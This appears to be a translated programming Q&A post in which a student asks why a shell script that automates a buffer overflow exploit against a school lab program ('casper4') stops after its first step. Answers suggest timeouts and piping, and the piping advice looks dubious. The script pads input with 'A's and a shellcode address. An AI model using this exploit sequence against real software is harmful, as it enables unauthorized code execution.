Bash - 在shell脚本

时间:2015-12-08 12:06:52

标签: linux bash shell

我正在为学校项目编写缓冲区溢出漏洞利用程序。我试图利用的程序称为casper4。我知道如何利用该程序,但现在我正在尝试将命令序列放入一个shell脚本中。

我的脚本如下所示:

#!/bin/sh
./egg1; # Put the shell code in the enviromnent
./eggfind > output.txt; # Put the address of the shellcode in output.txt
./escapeAddr "$(<output.txt)" > addressHexa.txt # Escape the address
echo -e "$(<addressHexa.txt)" > address.txt; # Address to ascii
perl -e 'print "A"x789' > As.txt; # Get As to fill the buffer
cat As.txt address.txt > input.txt; # Create one input file
./casper4 "$(<input.txt)"; # Feed the input to the program

我认为了解每个脚本/程序的作用并不重要。问题是每当我运行这个脚本时,它似乎只执行./egg1而不是顺序执行所有命令。

当我将这些行分别输入到命令行中时,它会产生正确的结果。

如何让这个脚本实现与在命令行中一对一地输入这些行相同的结果?

2 个答案:

答案 0 :(得分:1)

很可能其中一个命令没有退出,这就是整个序列。最好的选择是为代码添加超时以帮助调试。

我建议这篇关于shell防御编码的文章: Robust shell scripts

在脚本中包含超时: Timeout a command in bash

答案 1 :(得分:1)

您可以使用./egg1 | ./eggfind | ...管道命令...表示其余命令。只需将它们分隔为|